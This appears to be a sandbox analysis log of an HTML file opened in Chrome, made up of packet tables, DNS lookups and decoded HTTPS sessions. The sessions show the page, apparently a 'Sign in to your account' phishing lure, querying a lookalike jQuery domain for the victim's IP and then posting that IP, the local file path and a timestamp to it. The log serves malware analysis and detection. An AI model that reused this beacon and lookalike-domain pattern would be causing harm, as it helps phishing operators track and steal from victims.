May 26, 2022 19:49:57.407445908 CEST	443	49760	38.34.185.163	192.168.2.7
May 26, 2022 19:49:57.407536030 CEST	49760	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:57.407682896 CEST	443	49760	38.34.185.163	192.168.2.7
May 26, 2022 19:49:57.407790899 CEST	49760	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:57.407838106 CEST	443	49760	38.34.185.163	192.168.2.7
May 26, 2022 19:49:57.407922983 CEST	49760	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:57.407995939 CEST	443	49760	38.34.185.163	192.168.2.7
May 26, 2022 19:49:57.408081055 CEST	443	49760	38.34.185.163	192.168.2.7
May 26, 2022 19:49:57.408101082 CEST	49760	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:57.408122063 CEST	443	49760	38.34.185.163	192.168.2.7
May 26, 2022 19:49:57.408145905 CEST	49760	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:57.408164024 CEST	443	49760	38.34.185.163	192.168.2.7
May 26, 2022 19:49:57.408173084 CEST	49760	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:57.408188105 CEST	443	49760	38.34.185.163	192.168.2.7
May 26, 2022 19:49:57.408227921 CEST	49760	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:57.408262014 CEST	49760	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:57.639122009 CEST	443	49760	38.34.185.163	192.168.2.7
May 26, 2022 19:49:57.639153004 CEST	443	49760	38.34.185.163	192.168.2.7
May 26, 2022 19:49:57.639273882 CEST	49760	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:57.639305115 CEST	443	49760	38.34.185.163	192.168.2.7
May 26, 2022 19:49:57.639308929 CEST	49760	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:57.639328003 CEST	443	49760	38.34.185.163	192.168.2.7
May 26, 2022 19:49:57.639381886 CEST	49760	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:57.639544010 CEST	443	49760	38.34.185.163	192.168.2.7
May 26, 2022 19:49:57.639626026 CEST	49760	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:57.639796019 CEST	443	49760	38.34.185.163	192.168.2.7
May 26, 2022 19:49:57.639872074 CEST	49760	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:57.640099049 CEST	443	49760	38.34.185.163	192.168.2.7
May 26, 2022 19:49:57.640175104 CEST	49760	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:57.640202999 CEST	443	49760	38.34.185.163	192.168.2.7
May 26, 2022 19:49:57.640260935 CEST	49760	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:57.640274048 CEST	443	49760	38.34.185.163	192.168.2.7
May 26, 2022 19:49:57.640316963 CEST	49760	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:57.640352964 CEST	443	49760	38.34.185.163	192.168.2.7
May 26, 2022 19:49:57.640404940 CEST	49760	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:57.663654089 CEST	49760	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:57.962743044 CEST	49760	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:57.962770939 CEST	443	49760	38.34.185.163	192.168.2.7
May 26, 2022 19:49:59.149597883 CEST	49768	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:59.149647951 CEST	443	49768	38.34.185.163	192.168.2.7
May 26, 2022 19:49:59.149739027 CEST	49768	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:59.150161028 CEST	49768	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:59.150187016 CEST	443	49768	38.34.185.163	192.168.2.7
May 26, 2022 19:49:59.607572079 CEST	443	49768	38.34.185.163	192.168.2.7
May 26, 2022 19:49:59.693281889 CEST	49768	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:59.736191988 CEST	49768	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:59.736229897 CEST	443	49768	38.34.185.163	192.168.2.7
May 26, 2022 19:49:59.738101006 CEST	443	49768	38.34.185.163	192.168.2.7
May 26, 2022 19:49:59.738238096 CEST	443	49768	38.34.185.163	192.168.2.7
May 26, 2022 19:49:59.738320112 CEST	49768	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:59.740119934 CEST	49768	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:59.740251064 CEST	443	49768	38.34.185.163	192.168.2.7
May 26, 2022 19:49:59.741307020 CEST	49768	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:59.741322994 CEST	443	49768	38.34.185.163	192.168.2.7
May 26, 2022 19:49:59.793292046 CEST	49768	443	192.168.2.7	38.34.185.163
May 26, 2022 19:49:59.943768978 CEST	49769	443	192.168.2.7	143.204.233.38
May 26, 2022 19:49:59.943819046 CEST	443	49769	143.204.233.38	192.168.2.7
May 26, 2022 19:49:59.943905115 CEST	49769	443	192.168.2.7	143.204.233.38
May 26, 2022 19:49:59.944987059 CEST	49769	443	192.168.2.7	143.204.233.38
May 26, 2022 19:49:59.945012093 CEST	443	49769	143.204.233.38	192.168.2.7
May 26, 2022 19:50:00.040581942 CEST	443	49769	143.204.233.38	192.168.2.7
May 26, 2022 19:50:00.041793108 CEST	49769	443	192.168.2.7	143.204.233.38
May 26, 2022 19:50:00.041836023 CEST	443	49769	143.204.233.38	192.168.2.7
May 26, 2022 19:50:00.042898893 CEST	443	49769	143.204.233.38	192.168.2.7
May 26, 2022 19:50:00.043013096 CEST	49769	443	192.168.2.7	143.204.233.38
May 26, 2022 19:50:00.047382116 CEST	49769	443	192.168.2.7	143.204.233.38
May 26, 2022 19:50:00.047542095 CEST	443	49769	143.204.233.38	192.168.2.7
May 26, 2022 19:50:00.051515102 CEST	49769	443	192.168.2.7	143.204.233.38
May 26, 2022 19:50:00.051553011 CEST	443	49769	143.204.233.38	192.168.2.7
May 26, 2022 19:50:00.093314886 CEST	49769	443	192.168.2.7	143.204.233.38
May 26, 2022 19:50:00.140223980 CEST	443	49769	143.204.233.38	192.168.2.7
May 26, 2022 19:50:00.140258074 CEST	443	49769	143.204.233.38	192.168.2.7
May 26, 2022 19:50:00.140286922 CEST	443	49769	143.204.233.38	192.168.2.7
May 26, 2022 19:50:00.140346050 CEST	49769	443	192.168.2.7	143.204.233.38
May 26, 2022 19:50:00.140376091 CEST	443	49769	143.204.233.38	192.168.2.7
May 26, 2022 19:50:00.140393019 CEST	49769	443	192.168.2.7	143.204.233.38
May 26, 2022 19:50:00.141103029 CEST	443	49769	143.204.233.38	192.168.2.7
May 26, 2022 19:50:00.141236067 CEST	49769	443	192.168.2.7	143.204.233.38
May 26, 2022 19:50:00.213896036 CEST	443	49768	38.34.185.163	192.168.2.7
May 26, 2022 19:50:00.214006901 CEST	443	49768	38.34.185.163	192.168.2.7
May 26, 2022 19:50:00.214106083 CEST	49768	443	192.168.2.7	38.34.185.163
May 26, 2022 19:50:00.562637091 CEST	49768	443	192.168.2.7	38.34.185.163
May 26, 2022 19:50:00.562664032 CEST	443	49768	38.34.185.163	192.168.2.7
May 26, 2022 19:50:00.569161892 CEST	49769	443	192.168.2.7	143.204.233.38
May 26, 2022 19:50:00.569190979 CEST	443	49769	143.204.233.38	192.168.2.7
May 26, 2022 19:50:02.097027063 CEST	49776	443	192.168.2.7	38.34.185.163
May 26, 2022 19:50:02.097075939 CEST	443	49776	38.34.185.163	192.168.2.7
May 26, 2022 19:50:02.097162008 CEST	49776	443	192.168.2.7	38.34.185.163
May 26, 2022 19:50:02.097759962 CEST	49776	443	192.168.2.7	38.34.185.163
May 26, 2022 19:50:02.097781897 CEST	443	49776	38.34.185.163	192.168.2.7
May 26, 2022 19:50:02.562669039 CEST	443	49776	38.34.185.163	192.168.2.7
May 26, 2022 19:50:02.685075998 CEST	49776	443	192.168.2.7	38.34.185.163
May 26, 2022 19:50:02.685115099 CEST	443	49776	38.34.185.163	192.168.2.7
May 26, 2022 19:50:02.685726881 CEST	443	49776	38.34.185.163	192.168.2.7
May 26, 2022 19:50:02.688885927 CEST	49776	443	192.168.2.7	38.34.185.163
May 26, 2022 19:50:02.688990116 CEST	443	49776	38.34.185.163	192.168.2.7
May 26, 2022 19:50:02.691591978 CEST	49776	443	192.168.2.7	38.34.185.163
May 26, 2022 19:50:02.732500076 CEST	443	49776	38.34.185.163	192.168.2.7
May 26, 2022 19:50:03.836950064 CEST	443	49776	38.34.185.163	192.168.2.7
May 26, 2022 19:50:03.837047100 CEST	443	49776	38.34.185.163	192.168.2.7
May 26, 2022 19:50:03.837150097 CEST	49776	443	192.168.2.7	38.34.185.163
May 26, 2022 19:50:06.797595978 CEST	49758	443	192.168.2.7	142.250.203.109
May 26, 2022 19:50:06.797982931 CEST	443	49758	142.250.203.109	192.168.2.7
May 26, 2022 19:50:06.798017025 CEST	49777	443	192.168.2.7	216.58.215.238
May 26, 2022 19:50:06.798051119 CEST	443	49777	216.58.215.238	192.168.2.7
May 26, 2022 19:50:06.798080921 CEST	443	49758	142.250.203.109	192.168.2.7
May 26, 2022 19:50:06.798105955 CEST	49758	443	192.168.2.7	142.250.203.109
May 26, 2022 19:50:06.798126936 CEST	49777	443	192.168.2.7	216.58.215.238
May 26, 2022 19:50:06.798161030 CEST	49758	443	192.168.2.7	142.250.203.109
May 26, 2022 19:50:06.799540043 CEST	49777	443	192.168.2.7	216.58.215.238
May 26, 2022 19:50:06.799555063 CEST	443	49777	216.58.215.238	192.168.2.7
May 26, 2022 19:50:06.825336933 CEST	49776	443	192.168.2.7	38.34.185.163
May 26, 2022 19:50:06.825371981 CEST	443	49776	38.34.185.163	192.168.2.7
May 26, 2022 19:50:06.848901033 CEST	443	49777	216.58.215.238	192.168.2.7
May 26, 2022 19:50:06.867373943 CEST	49777	443	192.168.2.7	216.58.215.238
May 26, 2022 19:50:06.867428064 CEST	443	49777	216.58.215.238	192.168.2.7
May 26, 2022 19:50:06.868119001 CEST	443	49777	216.58.215.238	192.168.2.7
May 26, 2022 19:50:06.869934082 CEST	49777	443	192.168.2.7	216.58.215.238
May 26, 2022 19:50:06.870100975 CEST	443	49777	216.58.215.238	192.168.2.7
May 26, 2022 19:50:07.005774975 CEST	49777	443	192.168.2.7	216.58.215.238
May 26, 2022 19:50:18.108202934 CEST	49777	443	192.168.2.7	216.58.215.238
May 26, 2022 19:50:18.108464003 CEST	443	49777	216.58.215.238	192.168.2.7
May 26, 2022 19:50:18.108535051 CEST	443	49777	216.58.215.238	192.168.2.7
May 26, 2022 19:50:18.108547926 CEST	49777	443	192.168.2.7	216.58.215.238
May 26, 2022 19:50:18.108578920 CEST	49777	443	192.168.2.7	216.58.215.238

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 26, 2022 19:49:54.360507965 CEST	50519	53	192.168.2.7	8.8.8.8
May 26, 2022 19:49:54.388528109 CEST	53	50519	8.8.8.8	192.168.2.7
May 26, 2022 19:49:54.479367018 CEST	63377	53	192.168.2.7	8.8.8.8
May 26, 2022 19:49:54.507138014 CEST	53	63377	8.8.8.8	192.168.2.7
May 26, 2022 19:49:54.528177977 CEST	62353	53	192.168.2.7	8.8.8.8
May 26, 2022 19:49:54.545252085 CEST	53	62353	8.8.8.8	192.168.2.7
May 26, 2022 19:49:59.738228083 CEST	58846	53	192.168.2.7	8.8.8.8
May 26, 2022 19:49:59.762746096 CEST	53	58846	8.8.8.8	192.168.2.7
May 26, 2022 19:50:06.423798084 CEST	50128	443	192.168.2.7	216.58.215.238
May 26, 2022 19:50:06.453084946 CEST	443	50128	216.58.215.238	192.168.2.7
May 26, 2022 19:50:06.638104916 CEST	50128	443	192.168.2.7	216.58.215.238
May 26, 2022 19:50:06.666713953 CEST	443	50128	216.58.215.238	192.168.2.7
May 26, 2022 19:50:06.666749954 CEST	443	50128	216.58.215.238	192.168.2.7
May 26, 2022 19:50:06.666775942 CEST	443	50128	216.58.215.238	192.168.2.7
May 26, 2022 19:50:06.666800022 CEST	443	50128	216.58.215.238	192.168.2.7
May 26, 2022 19:50:06.667298079 CEST	50128	443	192.168.2.7	216.58.215.238
May 26, 2022 19:50:06.668693066 CEST	50128	443	192.168.2.7	216.58.215.238
May 26, 2022 19:50:06.796494961 CEST	50128	443	192.168.2.7	216.58.215.238
May 26, 2022 19:50:06.798537016 CEST	50128	443	192.168.2.7	216.58.215.238
May 26, 2022 19:50:06.837747097 CEST	443	50128	216.58.215.238	192.168.2.7
May 26, 2022 19:50:06.841439009 CEST	443	50128	216.58.215.238	192.168.2.7
May 26, 2022 19:50:06.854051113 CEST	443	50128	216.58.215.238	192.168.2.7
May 26, 2022 19:50:06.854098082 CEST	443	50128	216.58.215.238	192.168.2.7
May 26, 2022 19:50:06.854129076 CEST	443	50128	216.58.215.238	192.168.2.7
May 26, 2022 19:50:06.869028091 CEST	50128	443	192.168.2.7	216.58.215.238
May 26, 2022 19:50:06.869386911 CEST	50128	443	192.168.2.7	216.58.215.238
May 26, 2022 19:50:06.896241903 CEST	50128	443	192.168.2.7	216.58.215.238
May 26, 2022 19:50:07.021750927 CEST	51824	53	192.168.2.7	8.8.8.8
May 26, 2022 19:50:07.047597885 CEST	53	51824	8.8.8.8	192.168.2.7

Timestamp	kBytes transferred	Direction	Data
2022-05-26 17:49:56 UTC	0	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-05-26 17:49:56 UTC	0	OUT	Data Raw: 20 Data Ascii:
2022-05-26 17:49:56 UTC	3	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 26 May 2022 17:49:56 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-zA8qiSmlJt5SSoP2oGc-Qg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'nonce-zA8qiSmlJt5SSoP2oGc-Qg' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2022-05-26 17:49:56 UTC	5	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2022-05-26 17:49:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
2022-05-26 17:49:56 UTC	0	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfm X-Goog-Update-Updater: chromecrx-85.0.4183.121 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-05-26 17:49:56 UTC	1	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-hsw49ANP_A8TLseBq1CWOw' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 26 May 2022 17:49:56 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 5624 X-Daystart: 38996 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2022-05-26 17:49:56 UTC	2	IN	Data Raw: 33 36 64 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 36 32 34 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 33 38 39 39 36 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 36d<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="5624" elapsed_seconds="38996"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2022-05-26 17:49:56 UTC	3	IN	Data Raw: 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 2e 63 72 78 22 20 66 70 3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 61 70 Data Ascii: mhkkegccagdldgiimedpiccmgmieda.crx" fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app><ap
2022-05-26 17:49:56 UTC	3	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
2022-05-26 17:49:59 UTC	234	OUT	GET /ip.php HTTP/1.1 Host: code.jquery.com.de Connection: keep-alive Accept: / User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-05-26 17:50:00 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 26 May 2022 17:49:59 GMT Server: Apache Access-Control-Allow-Headers: Authorization, Content-Type Access-Control-Allow-Origin: * Content-Length: 37 Connection: close Content-Type: application/json; charset=utf-8
2022-05-26 17:50:00 UTC	240	IN	Data Raw: 7b 22 69 70 22 3a 22 31 30 32 2e 31 32 39 2e 31 34 33 2e 34 32 20 3a 20 53 77 69 74 7a 65 72 6c 61 6e 64 22 7d Data Ascii: {"ip":"102.129.143.42 : Switzerland"}

Timestamp	kBytes transferred	Direction	Data
2022-05-26 17:50:00 UTC	235	OUT	GET /globalfoundries.com HTTP/1.1 Host: logo.clearbit.com Connection: keep-alive Accept: / User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-05-26 17:50:00 UTC	235	IN	HTTP/1.1 200 OK Content-Type: image/png Transfer-Encoding: chunked Connection: close Date: Tue, 24 May 2022 21:28:23 GMT access-control-allow-origin: * Cache-Control: public, max-age=2592000 Server: envoy strict-transport-security: max-age=63072000; includeSubDomains; preload x-content-type-options: nosniff X-Cache: Hit from cloudfront Via: 1.1 c63e477878535a923916847cfe5704ea.cloudfront.net (CloudFront) X-Amz-Cf-Pop: CPH50-C1 X-Amz-Cf-Id: y3JZ-MGRFYtsAhH0pQLx6VAcBYlJoAmRVRvMSrIRKRONuNjF_FQm0Q== Age: 159697
2022-05-26 17:50:00 UTC	236	IN	Data Raw: 31 31 31 39 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 80 00 00 00 80 08 02 00 00 00 4c 5c f6 9c 00 00 10 e0 49 44 41 54 78 9c ec 9d 6b 8c 5d d7 55 c7 d7 5a 7b ef 73 ce bd f3 b4 c7 9e da 65 12 b7 79 3a 71 9c 00 71 e3 44 6d 1a 9a 1a 15 50 a1 6d 14 28 09 05 84 40 cd 97 2a f0 01 41 51 08 e2 21 55 15 42 15 08 94 aa 40 d5 34 aa 82 2a 1a 29 0a 24 6e a0 21 4d 42 68 68 ac 40 de ad 43 9b a4 4d 5d fc 9c f1 f8 ce dc 7b ce d9 6b 2d b4 cf 1d a7 1e db b9 9e eb b9 e7 1e db 9c 5f 8e 67 34 99 7b f7 3d 67 ff f7 de eb b1 1f 63 55 15 6a aa 83 aa be 81 ff ef d4 02 54 4c 2d 40 c5 d4 02 54 4c 2d 40 c5 d4 02 54 4c 2d 40 c5 d4 02 54 4c 2d 40 c5 d4 02 54 4c 2d 40 c5 d4 02 54 4c 2d 40 c5 d4 02 54 4c 2d 40 c5 d4 02 54 4c 2d 40 c5 d4 02 54 4c 2d 40 c5 d4 02 54 4c Data Ascii: 1119PNGIHDRL\IDATxk]UZ{sey:qqDmPm(@AQ!UB@4)$n!MBhh@CM]{k-_g4{=gcUjTL-@TL-@TL-@TL-@TL-@TL-@TL-@TL-@TL-@TL
2022-05-26 17:50:00 UTC	240	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
2022-05-26 17:50:02 UTC	240	OUT	GET /post/index.php?title=Sign%20in%20to%20your%20account&link=file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm&time=2022-5-26%2019:50:1&ip=102.129.143.42%20:%20Switzerland HTTP/1.1 Host: code.jquery.com.de Connection: keep-alive Accept: / User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-05-26 17:50:03 UTC	241	IN	HTTP/1.1 200 OK Date: Thu, 26 May 2022 17:50:02 GMT Server: Apache Access-Control-Allow-Headers: Authorization, Content-Type Access-Control-Allow-Origin: * Content-Length: 0 Connection: close Content-Type: application/json; charset=utf-8

Target ID:	0
Start time:	19:49:47
Start date:	26/05/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "C:\Users\user\Desktop\7095678345.htm (1).htm
Imagebase:	0x7ff6a37e0000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high